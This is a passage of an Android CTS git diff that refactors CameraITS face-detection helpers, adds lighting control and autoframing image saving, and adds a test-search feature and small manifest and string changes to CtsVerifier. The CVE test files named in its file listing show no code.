-rw-r--r--tests/tests/security/TileServiceNullBindingTestApp/AndroidManifest.xml42
-rw-r--r--tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/ActivityStarterActivity.kt50
-rw-r--r--tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/BackgroundLaunchActivity.kt34
-rw-r--r--tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/NullBindingTileService.kt33
-rw-r--r--tests/tests/security/res/raw/sig_android_telephony_cts_testkey.binbin0 -> 1529 bytes
-rw-r--r--tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.binbin0 -> 1513 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cert.binbin0 -> 1025 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adbd.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adservices.binbin0 -> 1493 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adservices_api.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_appsearch.binbin0 -> 1557 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_art.binbin0 -> 1569 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_bluetooth.binbin0 -> 1599 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_btservices.binbin0 -> 1581 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_car_framework.binbin0 -> 1499 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_cellbroadcast.binbin0 -> 1563 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_compos.binbin0 -> 1485 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_connectivity_resources.binbin0 -> 1607 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_extservices.binbin0 -> 1585 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_geotz.binbin0 -> 1483 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.binbin0 -> 1523 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_power.binbin0 -> 1501 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_sensors.binbin0 -> 1505 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_thermal.binbin0 -> 1505 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_usb.binbin0 -> 1497 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_vibrator.binbin0 -> 1507 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_wifi.binbin0 -> 1599 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.binbin0 -> 1555 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_i18n.binbin0 -> 1365 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_ipsec.binbin0 -> 1573 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_mediaprovider.binbin0 -> 1625 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_neuralnetworks.binbin0 -> 1393 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_os_statsd.binbin0 -> 1297 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_permission.binbin0 -> 1583 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_rkpd.binbin0 -> 1457 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_runtime.binbin0 -> 1503 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_safetycenter_resources.binbin0 -> 1607 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_sdkext.binbin0 -> 1575 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_uwb.binbin0 -> 1479 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_uwb_resources.binbin0 -> 1577 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.binbin0 -> 1517 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.binbin0 -> 1595 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_virt.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vndk.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi.binbin0 -> 1579 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi_dialog.binbin0 -> 1585 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi_resources.binbin0 -> 1579 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_cf_apex.binbin0 -> 1485 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.binbin0 -> 1521 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.binbin0 -> 817 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.binbin0 -> 817 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.binbin0 -> 835 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.binbin0 -> 835 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_blob_helper_cert.binbin0 -> 803 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_blob_helper_cert2.binbin0 -> 805 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_a.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_b.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_c.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.binbin0 -> 382 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_net_app.binbin0 -> 774 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_testkey1.binbin0 -> 1196 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_testkey2.binbin0 -> 1196 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_uicc_2021.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_2.binbin0 -> 369 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_3.binbin0 -> 370 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_4.binbin0 -> 383 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_5.binbin0 -> 381 bytes
-rw-r--r--tests/tests/security/res/raw/sig_keyset_A.binbin0 -> 765 bytes
-rw-r--r--tests/tests/security/res/raw/sig_keyset_B.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_rro_remounted_test_a.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_rsa_2048.binbin0 -> 765 bytes
-rw-r--r--tests/tests/security/res/raw/sig_sdk_sandbox.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_security_cts_test_cert.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_shell_as_test_app_key.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_1.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_2.binbin0 -> 369 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_3.binbin0 -> 370 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_4.binbin0 -> 383 bytes
-rw-r--r--tests/tests/security/res/raw/sig_testcert.binbin0 -> 1540 bytes
-rw-r--r--tests/tests/security/res/raw/sig_unit_test.binbin0 -> 802 bytes
-rw-r--r--tests/tests/security/res/values/strings.xml15
-rw-r--r--tests/tests/security/res/xml/device_admin_cve_2021_0600.xml20
-rw-r--r--tests/tests/security/src/android/security/cts/Bug_300903792.kt122
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java137
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java86
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java22
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20234.java69
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_20927.java90
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_21283.java69
-rw-r--r--tests/tests/security/src/android/security/cts/PackageSignatureTest.java82
-rw-r--r--tests/tests/telephony/current/AndroidTest.xml2
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java6
-rw-r--r--tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java12
-rw-r--r--tests/tests/textclassifier/res/layout/main.xml2
-rw-r--r--tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java98
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java12
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java24
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java2
-rw-r--r--tools/cts-tradefed/Android.bp2
-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml12
-rw-r--r--tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml1
384 files changed, 12832 insertions, 2285 deletions
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 96232403c3d..93cfecb9c09 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -32,13 +32,7 @@ import opencv_processing_utils
_CV2_FACE_SCALE_FACTOR = 1.05 # 5% step for resizing image to find face
_CV2_FACE_MIN_NEIGHBORS = 4 # recommended 3-6: higher for less faces
_CV2_GREEN = (0, 1, 0)
-_CV2_RED = (1, 0, 0)
-_FACE_CENTER_MATCH_TOL_X = 10 # 10 pixels or ~1.5% in 640x480 image
-_FACE_CENTER_MATCH_TOL_Y = 20 # 20 pixels or ~4% in 640x480 image
-_FACE_CENTER_MIN_LOGGING_DIST = 50
_FD_MODE_OFF, _FD_MODE_SIMPLE, _FD_MODE_FULL = 0, 1, 2
-_MIN_NUM_FACES_ALIGNED = 2
-_MIN_CENTER_DELTA = 15
_NAME = os.path.splitext(os.path.basename(__file__))[0]
_NUM_FACES = 3
_NUM_TEST_FRAMES = 20
@@ -46,81 +40,6 @@ _TEST_REQUIRED_MPC = 34
_W, _H = 640, 480
-def eliminate_duplicate_centers(coordinates_list):
- """Checks center coordinates of OpenCV's face rectangles
-
- Method makes sure that the list of face rectangles' centers do not
- contain duplicates from the same face.
-
- Args:
- coordinates_list: list; coordinates of face rectangles' centers
- Returns:
- non_duplicate_list: list; coordinates of face rectangles' centers
- without duplicates on the same face
- """
- output = set()
-
- for i, xy1 in enumerate(coordinates_list):
- for j, xy2 in enumerate(coordinates_list):
- if distance.euclidean(xy1, xy2) < _MIN_CENTER_DELTA:
- continue
- if xy1 not in output:
- output.add(xy1)
- else:
- output.add(xy2)
- return list(output)
-
-
-def match_face_locations(faces_cropped, faces_opencv, mode, img, img_name):
- """Assert face locations between two methods.
-
- Method determines if center of opencv face boxes is within face detection
- face boxes. Using math.hypot to measure the distance between the centers,
- as math.dist is not available for python versions before 3.8.
-
- Args:
- faces_cropped: list of lists with (l, r, t, b) for each face.
- faces_opencv: list of lists with (x, y, w, h) for each face.
- mode: int indicating face detection mode
- img: np image array
- img_name: text string with path to image file
- """
- # turn faces_opencv into list of center locations
- faces_opencv_center = [(x+w//2, y+h//2) for (x, y, w, h) in faces_opencv]
- cropped_faces_centers = [
- ((l+r)//2, (t+b)//2) for (l, r, t, b) in faces_cropped]
- faces_opencv_center.sort(key=lambda t: [t[1], t[0]])
- cropped_faces_centers.sort(key=lambda t: [t[1], t[0]])
- logging.debug('cropped face centers: %s', str(cropped_faces_centers))
- logging.debug('opencv face center: %s', str(faces_opencv_center))
- faces_opencv_centers = []
- num_centers_aligned = 0
-
- # eliminate duplicate openCV face rectangles' centers the same face
- faces_opencv_centers = eliminate_duplicate_centers(faces_opencv_center)
- logging.debug('opencv face centers: %s', str(faces_opencv_centers))
-
- for (x, y) in faces_opencv_centers:
- for (x1, y1) in cropped_faces_centers:
- centers_dist = math.hypot(x-x1, y-y1)
- if centers_dist < _FACE_CENTER_MIN_LOGGING_DIST:
- logging.debug('centers_dist: %.3f', centers_dist)
- if (abs(x-x1) < _FACE_CENTER_MATCH_TOL_X and
- abs(y-y1) < _FACE_CENTER_MATCH_TOL_Y):
- num_centers_aligned += 1
-
- # If test failed, save image with green AND OpenCV red rectangles
- image_processing_utils.write_image(img, img_name)
- if num_centers_aligned < _MIN_NUM_FACES_ALIGNED:
- for (x, y, w, h) in faces_opencv:
- cv2.rectangle(img, (x, y), (x+w, y+h), _CV2_RED, 2)
- image_processing_utils.write_image(img, img_name)
- logging.debug('centered: %s', str(num_centers_aligned))
- raise AssertionError(f'Mode {mode} face rectangles in wrong location(s)!. '
- f'Found {num_centers_aligned} rectangles near cropped '
- f'face centers, expected {_MIN_NUM_FACES_ALIGNED}')
-
-
def check_face_bounding_box(rect, aw, ah, index):
"""Checks face bounding box is within the active array area.
@@ -187,32 +106,6 @@ def check_face_landmarks(face, fd_mode, index):
raise AssertionError(f'Unknown face detection mode: {fd_mode}.')
-def correct_faces_for_crop(faces, img, crop):
- """Correct face rectangles for sensor crop.
-
- Args:
- faces: list of dicts with face information
- img: np image array
- crop: dict of crop region size with 'top, right, left, bottom' as keys
- Returns:
- list of face locations (left, right, top, bottom) corrected
- """
- faces_corrected = []
- cw, ch = crop['right'] - crop['left'], crop['bottom'] - crop['top']
- logging.debug('crop region: %s', str(crop))
- w = img.shape[1]
- h = img.shape[0]
- for rect in [face['bounds'] for face in faces]:
- logging.debug('rect: %s', str(rect))
- left = int(round((rect['left'] - crop['left']) * w / cw))
- right = int(round((rect['right'] - crop['left']) * w / cw))
- top = int(round((rect['top'] - crop['top']) * h / ch))
- bottom = int(round((rect['bottom'] - crop['top']) * h / ch))
- faces_corrected.append([left, right, top, bottom])
- logging.debug('faces_corrected: %s', str(faces_corrected))
- return faces_corrected
-
-
class NumFacesTest(its_base_test.ItsBaseTest):
"""Test face detection with different skin tones.
"""
@@ -281,7 +174,8 @@ class NumFacesTest(its_base_test.ItsBaseTest):
# draw boxes around faces in green
crop_region = cap['metadata']['android.scaler.cropRegion']
- faces_cropped = correct_faces_for_crop(faces, img, crop_region)
+ faces_cropped = opencv_processing_utils.correct_faces_for_crop(
+ faces, img, crop_region)
for (l, r, t, b) in faces_cropped:
cv2.rectangle(img, (l, t), (r, b), _CV2_GREEN, 2)
@@ -315,8 +209,8 @@ class NumFacesTest(its_base_test.ItsBaseTest):
faces_opencv = opencv_processing_utils.find_opencv_faces(
img, _CV2_FACE_SCALE_FACTOR, _CV2_FACE_MIN_NEIGHBORS)
if fd_mode: # non-zero value for ON
- match_face_locations(faces_cropped, faces_opencv,
- fd_mode, img, img_name)
+ opencv_processing_utils.match_face_locations(
+ faces_cropped, faces_opencv, img, img_name)
if not faces:
continue
diff --git a/apps/CameraITS/tests/scene2_d/test_autoframing.py b/apps/CameraITS/tests/scene2_d/test_autoframing.py
index db0fa3ae530..cb1ac90bd63 100644
--- a/apps/CameraITS/tests/scene2_d/test_autoframing.py
+++ b/apps/CameraITS/tests/scene2_d/test_autoframing.py
@@ -30,6 +30,7 @@ import opencv_processing_utils
_AUTOFRAMING_CONVERGED = 2
_CV2_FACE_SCALE_FACTOR = 1.05 # 5% step for resizing image to find face
_CV2_FACE_MIN_NEIGHBORS = 4 # recommended 3-6: higher for less faces
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
_NUM_TEST_FRAMES = 150
_NUM_FACES = 3
_W, _H = 640, 480
@@ -84,6 +85,21 @@ class AutoframingTest(its_base_test.ItsBaseTest):
# Face detection and autoframing could take several frames to warm up,
# but should detect the correct number of faces before the last frame
if autoframing_state == _AUTOFRAMING_CONVERGED:
+ # Save image when autoframing state converges
+ control_zoom_ratio = cap['metadata']['android.control.zoomRatio']
+ logging.debug('Control zoom ratio: %d', control_zoom_ratio)
+ img = image_processing_utils.convert_capture_to_rgb_image(
+ cap, props=props)
+ file_name_stem = os.path.join(self.log_path, _NAME)
+ img_name = f'{file_name_stem}.jpg'
+
+ # Save images with green boxes around faces
+ crop_region = cap['metadata']['android.scaler.cropRegion']
+ faces_cropped = opencv_processing_utils.correct_faces_for_crop(
+ faces, img, crop_region)
+ opencv_processing_utils.draw_green_boxes_around_faces(
+ img, faces_cropped, img_name)
+
num_faces_found = len(faces)
if num_faces_found != _NUM_FACES:
raise AssertionError('Wrong num of faces found! Found: '
@@ -91,14 +107,10 @@ class AutoframingTest(its_base_test.ItsBaseTest):
# Also check the faces with open cv to make sure the scene is not
# distorted or anything.
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props=props)
opencv_faces = opencv_processing_utils.find_opencv_faces(
img, _CV2_FACE_SCALE_FACTOR, _CV2_FACE_MIN_NEIGHBORS)
- num_opencv_faces = len(opencv_faces)
- if num_opencv_faces != _NUM_FACES:
- raise AssertionError('Wrong num of faces found with OpenCV! Found: '
- f'{num_opencv_faces}, expected: {_NUM_FACES}')
+ opencv_processing_utils.match_face_locations(
+ faces_cropped, opencv_faces, img, img_name)
break
# Autoframing didn't converge till the last frame
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index b55168527a1..b6bf677d0ff 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -388,7 +388,8 @@ class MultiCameraAlignmentTest(its_base_test.ItsBaseTest):
if (media_performance_class >= _TEST_REQUIRED_MPC and
not should_run and
cam.is_primary_camera() and
- has_multiple_same_facing_cameras):
+ has_multiple_same_facing_cameras and
+ props['android.lens.facing'] == _LENS_FACING_BACK):
logging.error('Found multiple camera IDs %s facing in the same '
'direction as primary camera %s.',
cameras_facing_same_direction, self.camera_id)
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 0df3fd0d701..99815a9822a 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,6 +29,7 @@ import image_processing_utils
import its_session_utils
import numpy as np
import yaml
+import lighting_control_utils
YAML_FILE_DIR = os.environ['CAMERA_ITS_TOP']
CONFIG_FILE = os.path.join(YAML_FILE_DIR, 'config.yml')
@@ -986,6 +987,16 @@ def main():
cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
subprocess.Popen(cmd.split())
+ # establish connection with lighting controller
+ lighting_cntl = test_params_content.get('lighting_cntl', 'None')
+ lighting_ch = test_params_content.get('lighting_ch', 'None')
+ arduino_serial_port = lighting_control_utils.lighting_control(
+ lighting_cntl, lighting_ch)
+
+ # turn OFF lights
+ lighting_control_utils.set_lighting_state(
+ arduino_serial_port, lighting_ch, 'OFF')
+
if num_testbeds is not None:
if testbed_index == _MAIN_TESTBED:
logging.info('Waiting for all testbeds to finish.')
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 63ca2af10bc..adf3daef6e7 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -21,6 +21,8 @@ import pathlib
import cv2
import numpy
+from scipy.spatial import distance
+
import capture_request_utils
import error_util
import image_processing_utils
@@ -50,6 +52,7 @@ CIRCLE_LOCATION_VARIATION_RTOL = 0.05 # tolerance to remove similar circles
CV2_LINE_THICKNESS = 3 # line thickness for drawing on images
CV2_RED = (255, 0, 0) # color in cv2 to draw lines
+CV2_GREEN = (0, 1, 0)
CV2_THRESHOLD_BLOCK_SIZE = 11
CV2_THRESHOLD_CONSTANT = 2
@@ -57,6 +60,12 @@ CV2_HOME_DIRECTORY = os.path.dirname(cv2.__file__)
CV2_ALTERNATE_DIRECTORY = pathlib.Path(CV2_HOME_DIRECTORY).parents[3]
HAARCASCADE_FILE_NAME = 'haarcascade_frontalface_default.xml'
+FACES_ALIGNED_MIN_NUM = 2
+FACE_CENTER_MATCH_TOL_X = 10 # 10 pixels or ~1.5% in 640x480 image
+FACE_CENTER_MATCH_TOL_Y = 20 # 20 pixels or ~4% in 640x480 image
+FACE_CENTER_MIN_LOGGING_DIST = 50
+FACE_MIN_CENTER_DELTA = 15
+
FOV_THRESH_TELE25 = 25
FOV_THRESH_TELE40 = 40
FOV_THRESH_TELE = 60
@@ -907,3 +916,120 @@ def get_angle(input_img):
return None
return numpy.median(filtered_angles)
+
+
+def correct_faces_for_crop(faces, img, crop):
+ """Correct face rectangles for sensor crop.
+
+ Args:
+ faces: list of dicts with face information
+ img: np image array
+ crop: dict of crop region size with 'top, right, left, bottom' as keys
+ Returns:
+ list of face locations (left, right, top, bottom) corrected
+ """
+ faces_corrected = []
+ cw, ch = crop['right'] - crop['left'], crop['bottom'] - crop['top']
+ logging.debug('crop region: %s', str(crop))
+ w = img.shape[1]
+ h = img.shape[0]
+ for rect in [face['bounds'] for face in faces]:
+ logging.debug('rect: %s', str(rect))
+ left = int(round((rect['left'] - crop['left']) * w / cw))
+ right = int(round((rect['right'] - crop['left']) * w / cw))
+ top = int(round((rect['top'] - crop['top']) * h / ch))
+ bottom = int(round((rect['bottom'] - crop['top']) * h / ch))
+ faces_corrected.append([left, right, top, bottom])
+ logging.debug('faces_corrected: %s', str(faces_corrected))
+ return faces_corrected
+
+
+def eliminate_duplicate_centers(coordinates_list):
+ """Checks center coordinates of OpenCV's face rectangles
+
+ Method makes sure that the list of face rectangles' centers do not
+ contain duplicates from the same face
+
+ Args:
+ coordinates_list: list; coordinates of face rectangles' centers
+ Returns:
+ non_duplicate_list: list; coordinates of face rectangles' centers
+ without duplicates on the same face
+ """
+ output = set()
+
+ for i, xy1 in enumerate(coordinates_list):
+ for j, xy2 in enumerate(coordinates_list):
+ if distance.euclidean(xy1, xy2) < FACE_MIN_CENTER_DELTA:
+ continue
+ if xy1 not in output:
+ output.add(xy1)
+ else:
+ output.add(xy2)
+ return list(output)
+
+
+def match_face_locations(faces_cropped, faces_opencv, img, img_name):
+ """Assert face locations between two methods.
+
+ Method determines if center of opencv face boxes is within face detection
+ face boxes. Using math.hypot to measure the distance between the centers,
+ as math.dist is not available for python versions before 3.8.
+
+ Args:
+ faces_cropped: list of lists with (l, r, t, b) for each face.
+ faces_opencv: list of lists with (x, y, w, h) for each face.
+ img: numpy [0, 1] image array
+ img_name: text string with path to image file
+ """
+ # turn faces_opencv into list of center locations
+ faces_opencv_center = [(x+w//2, y+h//2) for (x, y, w, h) in faces_opencv]
+ cropped_faces_centers = [
+ ((l+r)//2, (t+b)//2) for (l, r, t, b) in faces_cropped]
+ faces_opencv_center.sort(key=lambda t: [t[1], t[0]])
+ cropped_faces_centers.sort(key=lambda t: [t[1], t[0]])
+ logging.debug('cropped face centers: %s', str(cropped_faces_centers))
+ logging.debug('opencv face center: %s', str(faces_opencv_center))
+ faces_opencv_centers = []
+ num_centers_aligned = 0
+
+ # eliminate duplicate openCV face rectangles' centers the same face
+ faces_opencv_centers = eliminate_duplicate_centers(faces_opencv_center)
+ logging.debug('opencv face centers: %s', str(faces_opencv_centers))
+
+ for (x, y) in faces_opencv_centers:
+ for (x1, y1) in cropped_faces_centers:
+ centers_dist = math.hypot(x-x1, y-y1)
+ if centers_dist < FACE_CENTER_MIN_LOGGING_DIST:
+ logging.debug('centers_dist: %.3f', centers_dist)
+ if (abs(x-x1) < FACE_CENTER_MATCH_TOL_X and
+ abs(y-y1) < FACE_CENTER_MATCH_TOL_Y):
+ num_centers_aligned += 1
+
+ # If test failed, save image with green AND OpenCV red rectangles
+ image_processing_utils.write_image(img, img_name)
+ if num_centers_aligned < FACES_ALIGNED_MIN_NUM:
+ for (x, y, w, h) in faces_opencv:
+ cv2.rectangle(img, (x, y), (x+w, y+h), tuple(numpy.array(CV2_RED)/255), 2)
+ image_processing_utils.write_image(img, img_name)
+ logging.debug('centered: %s', str(num_centers_aligned))
+ raise AssertionError(f'Face rectangles in wrong location(s)!. '
+ f'Found {num_centers_aligned} rectangles near cropped '
+ f'face centers, expected {FACES_ALIGNED_MIN_NUM}')
+
+
+def draw_green_boxes_around_faces(img, faces_cropped, img_name):
+ """Correct face rectangles for sensor crop.
+
+ Args:
+ img: numpy [0, 1] image array
+ faces_cropped: list of lists with (l, r, t, b) for each face
+ img_name: text string with path to image file
+ Returns:
+ image with green rectangles
+ """
+ # draw boxes around faces in green and save image
+ for (l, r, t, b) in faces_cropped:
+ cv2.rectangle(img, (l, t), (r, b), CV2_GREEN, 2)
+ image_processing_utils.write_image(img, img_name)
+
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 29e4577dad1..9fb158f3212 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="14_r2">
+ android:versionName="14_r3">
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="34"/>
@@ -214,7 +214,9 @@
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
<meta-data android:name="CddTest"
- android:value="2.2.4/8.3/H-1-1|2.3.4/8.3/T-1-1|2.4.4/8.3/W-SR|8.3/C-SR" />
+ android:value="2.2.4/8.3/H-1-1|2.3.4/8.3/T-1-1|
+ 2.4.4/8.3/W-SR-1,8.3/W-SR-2|
+ 8.3/C-SR-1,C-SR-2" />
<meta-data android:name="ApiTest" android:value="android.os.PowerManager#isPowerSaveMode" />
</activity>
@@ -4516,10 +4518,13 @@
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
+ <action android:name="android.intent.action.SEARCH" />
<category android:name="android.intent.category.LAUNCHER" />
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
</intent-filter>
+ <meta-data android:name="android.app.searchable"
+ android:resource="@xml/searchable"/>
</activity-alias>
<!-- <activity-alias-->
@@ -6838,6 +6843,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_input"/>
<meta-data android:name="ApiTest" android:value="android.view.InputDevice#getUsiVersion" />
+ <meta-data android:name="display_mode" android:value="single_display_mode" />
</activity>
<!-- Components used for CTS Verifying Capture Content For Notes APIs. -->
diff --git a/apps/CtsVerifier/res/menu/test_list_menu.xml b/apps/CtsVerifier/res/menu/test_list_menu.xml
index 2c104a0a34b..95bfd5877e9 100644
--- a/apps/CtsVerifier/res/menu/test_list_menu.xml
+++ b/apps/CtsVerifier/res/menu/test_list_menu.xml
@@ -13,4 +13,10 @@
android:icon="@android:drawable/ic_menu_save"
android:title="@string/export"
android:showAsAction="ifRoom" />
+ <item
+ android:id="@+id/search_test"
+ android:title="@string/search_title"
+ android:actionViewClass="android.widget.SearchView"
+ android:showAsAction="collapseActionView|ifRoom"
+ android:imeOptions="actionSearch" />
</menu>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 4967f32879b..d7cd7856239 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -33,6 +33,9 @@
<string name="fail_and_next_button_text">Fail and Next</string>
<string name="yes_string">Yes</string>
<string name="no_string">No</string>
+ <string name="search_label">TestListActivity</string>
+ <string name="search_hint">Search Tests</string>
+ <string name="search_title">Search</string>
<!-- Strings for CtsReportLog warning -->
<string name="reportlog_warning_title">CTS-Verifier Report Log</string>
@@ -4462,7 +4465,7 @@ You should be prompted to select credentials; choose the ones you just installed
Set \'%s\' user restriction by turning on the switch below.
</string>
<string name="disallow_add_user">Disallow add user</string>
- <string name="disallow_add_user_action">Accessing the multiple users settings page, or if the device allows access to the page, then attempting to add a new user </string>
+ <string name="disallow_add_user_action">Accessing the multiple users settings page, or if the device allows access to the page, then attempting to enable the feature </string>
<string name="disallow_adjust_volume">Disallow adjust volume</string>
<string name="disallow_adjust_volume_action">Adjusting the volume\n
NOTE: If the device does not support volume adjustment in Settings app please skip this test and mark it as passing.\n</string>
diff --git a/apps/CtsVerifier/res/xml/searchable.xml b/apps/CtsVerifier/res/xml/searchable.xml
new file mode 100644
index 00000000000..a443c076ee3
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/searchable.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<searchable xmlns:android="http://schemas.android.com/apk/res/android"
+ android:label="@string/search_label"
+ android:hint="@string/search_hint" >
+</searchable> \ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index b79840c4c1f..c37788d97a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -17,7 +17,6 @@
package com.android.cts.verifier;
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
